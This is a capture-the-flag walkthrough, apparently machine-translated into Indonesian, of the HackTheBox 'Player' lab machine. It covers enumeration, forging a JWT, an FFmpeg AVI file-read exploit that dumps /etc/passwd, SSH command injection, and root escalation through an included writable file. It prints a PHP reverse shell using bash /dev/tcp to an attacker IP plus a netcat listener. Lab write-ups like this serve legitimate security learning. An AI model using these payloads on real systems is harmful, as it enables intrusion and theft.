Saya terus menerbitkan solusi yang dikirim untuk
diproses lebih lanjut dari situs
HackTheBox . Saya berharap ini akan membantu setidaknya seseorang untuk berkembang di bidang keamanan informasi. Pada artikel ini, kita akan melalui JWT, melakukan enumerasi web seperti mencari direktori, subdomain dan file cadangan, kita akan mengeksploitasi SSRF di enkoder FFmpeg dan RCE di SSH.
Koneksi ke laboratorium adalah melalui VPN. Dianjurkan untuk tidak terhubung dari komputer kerja atau dari host di mana data yang penting bagi Anda tersedia, karena Anda berakhir di jaringan pribadi dengan orang-orang yang mengetahui sesuatu di bidang keamanan informasi :)
Informasi OrganisasiTerutama bagi mereka yang ingin mempelajari sesuatu yang baru dan berkembang di bidang informasi dan keamanan komputer, saya akan menulis dan berbicara tentang kategori berikut:
- PWN;
- kriptografi (Crypto);
- teknologi jaringan (Jaringan);
- membalikkan (Reverse Engineering);
- steganografi (Stegano);
- pencarian dan eksploitasi kerentanan WEB.
Selain itu, saya akan membagikan pengalaman saya dalam forensik komputer, analisis malware dan firmware, serangan pada jaringan nirkabel dan jaringan area lokal, melakukan pentest dan menulis eksploitasi.
Agar Anda dapat mengetahui tentang artikel baru, perangkat lunak, dan informasi lainnya, saya membuat
saluran di Telegram dan
grup untuk membahas masalah apa pun di bidang ICD. Juga, saya pribadi akan mempertimbangkan permintaan pribadi Anda, pertanyaan, saran dan rekomendasi
secara pribadi dan akan menjawab semua orang .
Semua informasi disediakan hanya untuk tujuan pendidikan. Penulis dokumen ini tidak bertanggung jawab atas kerusakan yang disebabkan seseorang sebagai akibat dari menggunakan pengetahuan dan metode yang diperoleh sebagai hasil dari mempelajari dokumen ini.
Kecerdasan
Pemindaian port
Mesin ini memiliki alamat IP 10.10.10.145, yang saya tambahkan ke / etc / hosts.
10.10.10.145 player.htb
Pertama, kami memindai port terbuka. Karena butuh waktu lama untuk memindai semua port dengan nmap, pertama-tama saya akan melakukan ini dengan masscan. Kami memindai semua port TCP dan UDP dari antarmuka tun0 dengan kecepatan 1000 paket per detik.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.145 --rate=1000

Selanjutnya, Anda perlu mengumpulkan lebih banyak informasi tentang port yang dikenal. Untuk melakukan ini, gunakan nmap dengan opsi -A.
nmap -A player.htb -p22,80,6686

Dengan demikian, host menjalankan SSH pada port 22 dan 6686, serta server web Apache pada 80.
Enumerasi Web
Pertama-tama, lihat web. Namun sayang, tidak ada yang menarik.

Dalam hal ini, Anda biasanya perlu memindai direktori. Untuk melakukan ini, gunakan gobuster cepat. Tentukan dalam parameter yang ingin kita pindai direktori (dir), tentukan situs (-u), daftar kata (-w), ekstensi yang menarik bagi kita (-x), jumlah utas (-t).
gobuster dir -t 128 -u http://player.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php
Dari direktori ini, peluncur yang menarik. Dikatakan bahwa ini adalah layanan pengeditan video dan kami membutuhkan email yang valid.

Setelah bermain sedikit dengan formulir, saya perhatikan bahwa ia mengirimkan data ke halaman /uncher/dee8dc8a47256c64630d803a4c40786c.php, di sana ia memeriksa dan mengalihkan kembali.

Dari semua yang kita miliki, tidak ada dan tidak ada yang akan memberi kita. Langkah selanjutnya dalam daftar adalah mencari subdomain. Baru-baru ini, setelah saya disarankan untuk menggunakan wfuzz, saya menggunakannya dan menyarankan hal yang sama kepada orang lain. Tentukan header (-H), kamus (-w), URL (-u), dan kecualikan kode respons 403 (--hc 403).
wfuzz -H 'HOST:FUZZ.player.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u player.htb --hc 403

Jadi, kami menemukan tiga subdomain yang juga perlu ditambahkan ke / etc / hosts.
10.10.10.145 dev.player.htb 10.10.10.145 staging.player.htb 10.10.10.145 chat.player.htb
Pada dev, hanya ada formulir otorisasi, pada obrolan hanya obrolan tidak berguna, dan pada pementasan formulir untuk beberapa kontak.



Setelah menguji sedikit formulir, yang kita miliki hanyalah redirect ke 501.php dan beberapa data dengan kesalahan yang ditunjukkan.



Tetapi sekali lagi ini tidak cukup. Selanjutnya, apa yang biasanya saya lupa, saya memutuskan untuk memeriksa cadangan file. Jadi ditemukan /launcher/dee8dc8a47256c64630d803a4c40786c.php ~

Dalam kode ini, JWT (token) diterjemahkan dan diverifikasi. Bergantung pada cek, pengalihan ke salah satu halaman terjadi. Jika token tidak disediakan, maka kami akan menetapkannya.
Karena kita tahu kunci dan nilai akhirnya, kita bisa menyandikannya dan mendapatkan token yang valid. Ini dapat dilakukan dengan menggunakan
situs ini.

Kami mendapatkan token kode. Dan menggantinya dalam permintaan.


Hasilnya, kami diberikan formulir unggah file media. Setelah mengunduh gambar, kami ditawari untuk mengunduh file media dalam format AVI.

Titik masuk
Karena AVI dibuat dari file kami, kami dapat menggunakan exploit yang memungkinkan Anda membaca file. Kode dapat diambil di
sini . Mari kita periksa ini dan melihat file / etc / passwd.

Mari kita periksa ini dan melihat file / etc / passwd.
python3 gen_avi.py file:///etc/passwd passwd.avi
Setelah mengunduh dan membuka file, kami mengamati file / etc / passwd.

Karena kita dapat membaca file, kita perlu mengumpulkan daftar yang kita ketahui. Kami mengingat kesalahan dalam file contact.php. Mari kita baca semua file yang terdaftar di sana.

Dan tidak ada yang menarik di file kontak, perbaikan tidak dapat dibaca, tetapi di service_config kami menemukan login dan kata sandi.

Mari kita coba masuk ke dev.player.htb dengan mereka - datanya tidak cocok, tetapi ada dua SSH lagi. Port 22 gagal, tetapi pada 6686 kami mendapatkan shell.

PENGGUNA
Tapi cangkang terbatas, dan saya ingat versi 7.2 dan memutuskan untuk memeriksa exploit.

Jadi, jika kita memiliki kredensial, kita dapat menjalankan Injeksi Perintah.


Mereka juga memberi kami daftar perintah untuk membaca dan menulis file. Kami membaca bendera pengguna.

ROOT
Sekarang kita harus memiliki hak yang cukup untuk membaca fix.php

Kami menemukan data menarik di dalamnya yang sudah pas di dev.player.htb. Dan di sana kami menemukan proyeknya.

Dan file ini dapat diakses saat mengaksesnya dari lingkungan eksternal. Artinya, kita bisa meletakkan cangkangnya.

Untuk melakukan ini, buka proyek Anda.

Selanjutnya, buat file dengan shell berikut.
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.161/4321 0>&1'"); ?>

Sekarang buka sesi menggunakan netcat.
nc -lvp 4321
Selanjutnya, kita beralih ke file kita.


Setelah menyelesaikan enumerasi dan memeriksa beberapa opsi lagi, kami berhenti untuk memeriksa proses. Berkat pspy64, Anda dapat menentukan bahwa skrip buff.php dijalankan dari waktu ke waktu dengan UID 0, yaitu sebagai root.

Mari kita lihat apa yang dilakukan script.

Saat mencoba menambahkan kode ke file ini, kami menemukan masalah - kami tidak memiliki hak.

Namun dalam skrip, file lain disertakan, di mana kami memiliki hak untuk menulis.

Kami akan menulis shell yang sudah kami gunakan untuk file ini, dan di netcat kami menunggu koneksi.

Dengan cara ini kami mendapatkan hak istimewa maksimal.
Anda dapat bergabung dengan kami di
Telegram . Mari kita mengumpulkan komunitas di mana akan ada orang-orang yang berpengalaman dalam banyak bidang TI, maka kita selalu dapat saling membantu dalam masalah TI dan keamanan informasi.